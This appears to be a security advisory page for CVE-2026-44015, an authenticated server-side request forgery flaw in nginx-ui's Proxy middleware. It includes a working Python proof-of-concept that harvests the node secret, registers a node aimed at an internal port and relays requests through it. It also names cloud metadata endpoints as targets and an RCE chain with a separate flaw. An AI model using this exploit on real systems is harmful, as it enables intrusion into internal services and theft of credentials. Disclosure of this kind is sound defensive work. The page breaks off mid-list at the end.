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CVE-2026-44015 is a critical severity vulnerability with a CVSS score of 9.9. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
The nginx-ui Proxy middleware (internal/middleware/proxy.go) intercepts API requests containing an X-Node-ID header and forwards them to the URL of the corresponding cluster node. An attacker can:
node_secret from GET /api/settings (accessible to any authenticated user)POST /api/nodes pointing to any internal URL:{
"name": "ssrf_node",
"url": "http://127.0.0.1:51820",
"token": "<node_secret>",
"enabled": true
}
X-Node-ID header set to the created node's ID:GET /api/settings HTTP/1.1
Authorization: <token>
X-Node-ID: 1
http://127.0.0.1:51820/api/settings, making a server-side request to the internal address.Vulnerable code path:
internal/middleware/proxy.go — Proxy(): no validation of the node URL; allows 127.0.0.1, localhost, internal IPs, cloud metadata endpoints, etc.The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.
import requests
BASE = "http://TARGET:9000"
TOKEN = "<authenticated_jwt_token>"
HDR = {"Authorization": TOKEN}
# Step 1: Get node_secret
settings = requests.get(f"{BASE}/api/settings", headers=HDR).json()
node_secret = settings["node"]["secret"]
# Step 2: Create SSRF node pointing to internal service
resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={
"name": "ssrf",
"url": "http://127.0.0.1:51820", # internal-only port
"token": node_secret,
"enabled": True,
})
node_id = resp.json()["id"]
# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings
resp = requests.get(
f"{BASE}/api/settings",
headers={**HDR, "X-Node-ID": str(node_id)},
)
print(resp.status_code, resp.text[:200])
# Response comes from the INTERNAL service, not nginx-ui
| Vendor | Product |
|---|---|
| Nginxui | Nginx Ui |
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This can also target cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) or any other internal service.
An authenticated attacker can: